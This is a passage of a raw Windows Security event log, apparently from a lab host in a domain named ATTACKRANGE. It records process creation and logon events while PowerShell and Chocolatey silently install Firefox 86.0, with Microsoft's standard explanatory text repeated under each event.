Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:39:33 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=245948
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x3BE34

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xec4
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xd74
	Creator Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Process Command Line:	"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Administrator\AppData\Local\Temp\eonvpczh\eonvpczh.cmdline"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:39:34 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=245952
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x3BE34

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xd3c
	New Process Name:	C:\ProgramData\chocolatey\choco.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xd74
	Creator Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Process Command Line:	"C:\ProgramData\chocolatey\choco.exe" -v

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:39:35 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=245954
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x3BE34

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xaf0
	New Process Name:	C:\ProgramData\chocolatey\choco.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xf30
	Creator Process Name:	C:\ProgramData\chocolatey\bin\choco.exe
	Process Command Line:	"C:\ProgramData\Chocolatey\choco.exe" list --local-only --limit-output --all-versions

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:39:35 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=245953
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x3BE34

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xf30
	New Process Name:	C:\ProgramData\chocolatey\bin\choco.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xe44
	Creator Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Process Command Line:	C:\ProgramData\Chocolatey\bin\choco.exe list --local-only --limit-output --all-versions

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:39:36 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=245957
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x3BE34

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xdb4
	New Process Name:	C:\ProgramData\chocolatey\bin\choco.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xe44
	Creator Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Process Command Line:	C:\ProgramData\Chocolatey\bin\choco.exe install firefox --fail-on-unfound --yes --no-progress --limit-output --timeout 2700

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:39:36 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=245956
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x3BE34

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xf84
	New Process Name:	C:\ProgramData\chocolatey\choco.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xef4
	Creator Process Name:	C:\ProgramData\chocolatey\bin\choco.exe
	Process Command Line:	"C:\ProgramData\Chocolatey\choco.exe" list --local-only --limit-output --all-versions

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:39:36 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=245955
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x3BE34

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xef4
	New Process Name:	C:\ProgramData\chocolatey\bin\choco.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xe44
	Creator Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Process Command Line:	C:\ProgramData\Chocolatey\bin\choco.exe list --local-only --limit-output --all-versions

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:39:37 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=245958
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x3BE34

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xd7c
	New Process Name:	C:\ProgramData\chocolatey\choco.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xdb4
	Creator Process Name:	C:\ProgramData\chocolatey\bin\choco.exe
	Process Command Line:	"C:\ProgramData\Chocolatey\choco.exe" install firefox --fail-on-unfound --yes --no-progress --limit-output --timeout 2700

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:39:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=245964
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x3BE34

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xed4
	New Process Name:	C:\ProgramData\chocolatey\tools\checksum.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xd7c
	Creator Process Name:	C:\ProgramData\chocolatey\choco.exe
	Process Command Line:	"C:\ProgramData\Chocolatey\helpers\..\tools\checksum.exe" -c="ec4b9e440dd5ee42ef3635df29e4f99e0ab9db03a9aa12b86b6190ede9fc6c4718c76aa25c1d653bac86b1c5c6277b80d970e25a252297ab1784e4d67ab53cd3" -t="sha512" -f="C:\Users\Administrator\AppData\Local\Temp\chocolatey\Firefox\86.0\Firefox Setup 86.0.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:39:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Special Logon
OpCode=Info
RecordNumber=245963
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x5BB34

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:39:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logon
OpCode=Info
RecordNumber=245962
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x5BB34
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x5c8
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:39:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logon
OpCode=Info
RecordNumber=245961
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x5c8
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:39:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4776
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Credential Validation
OpCode=Info
RecordNumber=245960
Keywords=Audit Success
Message=The computer attempted to validate the credentials for an account.

Authentication Package:	MICROSOFT_AUTHENTICATION_PACKAGE_V1_0
Logon Account:	Administrator
Source Workstation:	WIN-DC-725
Error Code:	0x0
03/11/2021 11:39:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logoff
OpCode=Info
RecordNumber=245959
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x3DFC1

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:39:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=245966
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x3BE34

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xc3c
	New Process Name:	C:\Users\Administrator\AppData\Local\Temp\chocolatey\Firefox\86.0\Firefox Setup 86.0.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xd7c
	Creator Process Name:	C:\ProgramData\chocolatey\choco.exe
	Process Command Line:	"C:\Users\Administrator\AppData\Local\Temp\chocolatey\Firefox\86.0\Firefox Setup 86.0.exe"  /PreventRebootRequired=true /RemoveDistributionDir=false /S 

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:39:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=245965
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xd00
	New Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x3b4
	Creator Process Name:	C:\Windows\System32\svchost.exe
	Process Command Line:	C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe -Embedding

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:39:54 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=245967
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x3BE34

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xc38
	New Process Name:	C:\Users\Administrator\AppData\Local\Temp\chocolatey\7zSC3CAC490\setup.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xc3c
	Creator Process Name:	C:\Users\Administrator\AppData\Local\Temp\chocolatey\Firefox\86.0\Firefox Setup 86.0.exe
	Process Command Line:	.\setup.exe /PreventRebootRequired=true /RemoveDistributionDir=false /S

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:39:56 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=245969
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x3BE34

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xd70
	New Process Name:	C:\Windows\System32\regsvr32.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xc38
	Creator Process Name:	C:\Users\Administrator\AppData\Local\Temp\chocolatey\7zSC3CAC490\setup.exe
	Process Command Line:	"C:\Windows\system32\regsvr32.exe" /s "C:\Program Files\Mozilla Firefox\AccessibleHandler.dll"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:39:56 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=245968
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x3BE34

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xd6c
	New Process Name:	C:\Windows\System32\regsvr32.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xc38
	Creator Process Name:	C:\Users\Administrator\AppData\Local\Temp\chocolatey\7zSC3CAC490\setup.exe
	Process Command Line:	"C:\Windows\system32\regsvr32.exe" /s "C:\Program Files\Mozilla Firefox\AccessibleMarshal.dll"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:39:57 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=245971
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x3BE34

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xda4
	New Process Name:	C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xec8
	Creator Process Name:	C:\Program Files\Mozilla Firefox\maintenanceservice_installer.exe
	Process Command Line:	"C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe" install

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:39:57 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=245970
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x3BE34

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xec8
	New Process Name:	C:\Program Files\Mozilla Firefox\maintenanceservice_installer.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xc38
	Creator Process Name:	C:\Users\Administrator\AppData\Local\Temp\chocolatey\7zSC3CAC490\setup.exe
	Process Command Line:	"C:\Program Files\Mozilla Firefox\maintenanceservice_installer.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:39:58 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=245972
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x3BE34

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

